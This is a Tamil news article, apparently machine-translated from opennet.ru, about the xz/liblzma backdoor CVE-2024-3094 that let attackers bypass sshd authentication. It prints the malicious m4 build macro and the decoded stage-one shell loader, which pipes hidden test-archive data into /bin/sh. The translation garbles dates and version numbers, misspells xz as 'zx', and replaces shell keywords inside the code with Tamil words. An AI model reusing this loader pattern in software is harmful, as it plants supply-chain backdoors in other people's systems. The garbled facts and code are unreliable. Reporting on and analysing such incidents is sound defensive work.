xz/liblzma நூலகத்தில் sshd வழியாக நுழைய அனுமதிக்கும் பின்கதவு கண்டுபிடிக்கப்பட்டது.

XZ Utils தொகுப்பில், liblzma நூலகம் மற்றும் “.xz” வடிவத்தில் சுருக்கப்பட்ட தரவுகளுடன் பணிபுரிவதற்கான பயன்பாடுகள், ஒரு பின்கதவு (CVE-2024-3094) அடையாளம் காணப்பட்டுள்ளது, இது தொடர்புடைய பயன்பாடுகளால் செயலாக்கப்பட்ட தரவை இடைமறித்து மாற்றியமைக்க அனுமதிக்கிறது. liblzma நூலகத்துடன். பின்கதவின் முக்கிய இலக்கு OpenSSH சேவையகமாகும், இது சில விநியோகங்களில் libsystemd நூலகத்துடன் தொகுக்கப்பட்டுள்ளது, இது liblzma ஐப் பயன்படுத்துகிறது. பாதிக்கப்படக்கூடிய நூலகத்துடன் sshd ஐ இணைப்பது, தாக்குபவர்கள் அங்கீகாரம் இல்லாமல் SSH சேவையகத்திற்கான அணுகலைப் பெற அனுமதிக்கிறது.

பிப்ரவரி 5.6.0 மற்றும் மார்ச் 5.6.1 தேதிகளில் வெளியிடப்பட்ட அதிகாரப்பூர்வ வெளியீடுகளான 24 மற்றும் 9 இல் பின்கதவு இருந்தது, இது சில விநியோகங்கள் மற்றும் களஞ்சியங்களுக்குள் நுழைய முடிந்தது, எடுத்துக்காட்டாக, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide மற்றும் 40-பீட்டா, openSUSE தொழிற்சாலை மற்றும் டம்பிள்வீட், LibreELEC, Alpine edge, Solus, NixOS நிலையற்றது, OpenIndiana, OpenMandriva ரோலிங், pkgsrc கரண்ட், ஸ்லாக்வேர் கரண்ட், மஞ்சாரோ சோதனை. xz 5.6.0 மற்றும் 5.6.1 வெளியீடுகளின் அனைத்து பயனர்களும் அவசரமாக 5.4.6 பதிப்புக்கு திரும்ப பரிந்துரைக்கப்படுகிறார்கள்.

சிக்கலைத் தணிக்கும் காரணிகளில், பின்கதவுடன் கூடிய liblzma பதிப்பு பெரிய விநியோகங்களின் நிலையான வெளியீடுகளின் ஒரு பகுதியாக மாறவில்லை, ஆனால் openSUSE Tumbleweed மற்றும் Fedora 40-பீட்டாவை பாதித்தது. Arch Linux மற்றும் Gentoo ஆகியவை zx இன் பாதிக்கப்படக்கூடிய பதிப்பைப் பயன்படுத்துகின்றன, ஆனால் அவை systemd-notify பேட்சை opensshக்கு பயன்படுத்தாததால் தாக்குதலுக்கு ஆளாகவில்லை, இது sshdஐ liblzma உடன் இணைக்கிறது. பின்கதவு Linux கர்னல் மற்றும் Glibc C நூலகத்தின் அடிப்படையில் x86_64 அமைப்புகளை மட்டுமே பாதிக்கிறது.

பின்கதவு செயல்படுத்தும் குறியீடு m4 மேக்ரோக்களில், உருவாக்கும்போது, ​​ஆட்டோமேக் டூல்கிட் பயன்படுத்தும் பில்ட்-டு-host.m4 கோப்பிலிருந்து மறைக்கப்பட்டது. அசெம்பிளி செய்யும் போது, ​​செயல்பாட்டின் சரியான தன்மையைச் சோதிக்கப் பயன்படுத்தப்படும் காப்பகங்களின் (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) அடிப்படையிலான சிக்கலான தெளிவற்ற செயல்பாடுகளைச் செயல்படுத்தும் போது, ​​தீங்கிழைக்கும் குறியீட்டைக் கொண்ட ஒரு பொருள் கோப்பு உருவாக்கப்பட்டது. liblzma நூலகம் மற்றும் செயல்பாட்டு தர்க்கத்தை அதன் சில செயல்பாடுகளை மாற்றியது. பின்கதவு-செயல்படுத்தும் m4 மேக்ரோக்கள் வெளியீட்டு டார்பால்களில் சேர்க்கப்பட்டன, ஆனால் அவை Git களஞ்சியத்தில் இல்லை. அதே நேரத்தில், தீங்கிழைக்கும் சோதனைக் காப்பகங்கள் களஞ்சியத்தில் இருந்தன, அதாவது. பின்கதவை செயல்படுத்திய நபர் களஞ்சியம் மற்றும் வெளியீட்டு உருவாக்க செயல்முறைகள் இரண்டிற்கும் அணுகலைக் கொண்டிருந்தார்.

பயன்பாடுகளில் liblzma ஐப் பயன்படுத்தும் போது, ​​தரவை இடைமறிக்க அல்லது மாற்ற, அல்லது sshd இன் செயல்பாட்டை பாதிக்க தீங்கிழைக்கும் மாற்றங்கள் பயன்படுத்தப்படலாம். குறிப்பாக, தீங்கிழைக்கும் குறியீடு RSA_public_decrypt செயல்பாட்டை ஏமாற்றி, sshd அங்கீகார செயல்முறையைத் தவிர்க்கிறது. பின்கதவு கண்டறிதலிலிருந்து பாதுகாப்பை உள்ளடக்கியது மற்றும் LANG மற்றும் TERM சூழல் மாறிகள் அமைக்கப்படும் போது (அதாவது, முனையத்தில் செயல்முறையை இயக்கும் போது) மற்றும் LD_DEBUG மற்றும் LD_PROFILE சூழல் மாறிகள் அமைக்கப்படவில்லை, மேலும் அதைச் செயல்படுத்தும் போது மட்டுமே செயல்படுத்தப்பட்டது. /usr/sbin/sshd இயங்கக்கூடிய கோப்பு. பின்கதவு பிழைத்திருத்த சூழல்களில் செயல்படுத்துவதைக் கண்டறியும் வழிமுறையையும் கொண்டிருந்தது.

குறிப்பாக, m4/build-to-host.m4 கோப்பு பயன்படுத்தப்பட்டது gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

முதல் கட்டுமானத்தில், grep செயல்பாடு கோப்பு சோதனைகள்/கோப்புகள்/bad-3-corrupt_lzma2.xz ஐக் கண்டறிந்தது, இது திறக்கப்பட்டபோது, ​​ஸ்கிரிப்டை உருவாக்கியது: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && வெளியேறு 0 [ ! $(uname) = "Linux" ] && வெளியேறு 0 [ ! $(uname) = "Linux" ] && வெளியேறு 0 [ ! $(uname) = "Linux" ] && வெளியேறு 0 [ ! $(uname) = "Linux" ] && வெளியேறு 0 eval `grep ^srcdir= config.status` என்றால் test -f ../../config.status;பின் eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi ஏற்றுமதி i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ பூஜ்யம் c +2048 >/dev/null) && head -c +1024 && (head -c +2048 >/dev/null) && head -c +1024 && (head -c +2048 >/dev/null) && தலை - c +1024 && (head -c +2048 >/dev/null) && head -c +1024 && (head -c +2048 >/dev/null) && head -c +1024 && (head -c +2048 >/ dev/null) && head -c +1024 && (head -c +2048 >/dev/null) && head -c +1024 && (head -c +2048 >/dev/null) && head -c +1024 && ( head -c +2048 >/dev/null) && head -c +1024 && (head -c +2048 >/dev/null) && head -c +1024 && (head -c +2048 >/dev/null) &&& head -c +1024 && (head -c +2048 >/dev/null) && head -c +1024 && (head -c +2048 >/dev/null) && head -c +1024)";(xz -dc) $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +2048|tr "\1024-\2048\1024-\939\31233-\114\321-\322\377-\35 \47-\14" "\34-\0")|xz -F raw —lzma13 -dc|/bin/sh ####World####

xz திட்டத்தின் உள்கட்டமைப்பை தாக்குபவர்கள் எவ்வாறு அணுக முடிந்தது என்பது இன்னும் முழுமையாக தெளிவுபடுத்தப்படவில்லை. பின்கதவின் விளைவாக எத்தனை பயனர்கள் மற்றும் திட்டங்கள் சமரசம் செய்யப்பட்டன என்பதும் இன்னும் தெளிவாகத் தெரியவில்லை. களஞ்சியத்தில் தீங்கிழைக்கும் குறியீட்டைக் கொண்ட காப்பகங்களை இடுகையிட்ட பின்கதவின் ஆசிரியர் (JiaT75 - ஜியா டான்), ஃபெடோரா டெவலப்பர்களுடன் தொடர்புகொண்டு டெபியனுக்கு xz 5.6.0 கிளைக்கு விநியோகங்களை மாற்றுவது தொடர்பான கோரிக்கைகளை அனுப்பினார். சந்தேகத்தை எழுப்புங்கள், ஏனெனில் அவர் xz இல் பங்குபற்றியதால் கடந்த இரண்டு வருடங்களாக வளர்ச்சியடைந்து வருகிறது மற்றும் செய்யப்பட்ட மாற்றங்களின் எண்ணிக்கையின் அடிப்படையில் இரண்டாவது டெவலப்பர் ஆவார். xz திட்டத்துடன் கூடுதலாக, xz-ஜாவா மற்றும் xz-உட்பொதிக்கப்பட்ட தொகுப்புகளின் மேம்பாட்டில் பின்கதவின் ஆசிரியர் என்று கூறப்படுபவர் பங்கேற்றார். மேலும், சில நாட்களுக்கு முன்பு ஜியா டான் லினக்ஸ் கர்னலில் பயன்படுத்தப்படும் XZ உட்பொதிக்கப்பட்ட திட்டத்தின் பராமரிப்பாளர்களின் எண்ணிக்கையில் சேர்க்கப்பட்டது.

அதிகப்படியான CPU நுகர்வு மற்றும் ssh வழியாக டெபியன் சிட்-அடிப்படையிலான அமைப்புகளுடன் இணைக்கும் போது வால்கிரைண்டால் உருவாக்கப்பட்ட பிழைகளை பகுப்பாய்வு செய்த பின்னர் தீங்கிழைக்கும் மாற்றம் கண்டறியப்பட்டது. பின்கதவுடன் zx 5.6.1 பதிப்பிற்கு மேம்படுத்திய பின் எழும் sshd மந்தநிலைகள் மற்றும் செயலிழப்புகள் பற்றிய புகார்களுக்கு பதிலளிக்கும் வகையில், xz 5.6.0 வெளியீட்டில் பின்கதவின் ஆசிரியரால் தயாரிக்கப்பட்ட மாற்றங்கள் சேர்க்கப்பட்டுள்ளன என்பது குறிப்பிடத்தக்கது. கூடுதலாக, கடந்த ஆண்டு ஜியா டான் "-fsanitize=address" ஆய்வு பயன்முறையுடன் இணங்காத மாற்றங்களைச் செய்தார், இதனால் அது fuzz சோதனையின் போது முடக்கப்பட்டது.

ஆதாரம்: opennet.ru

கருத்தைச் சேர்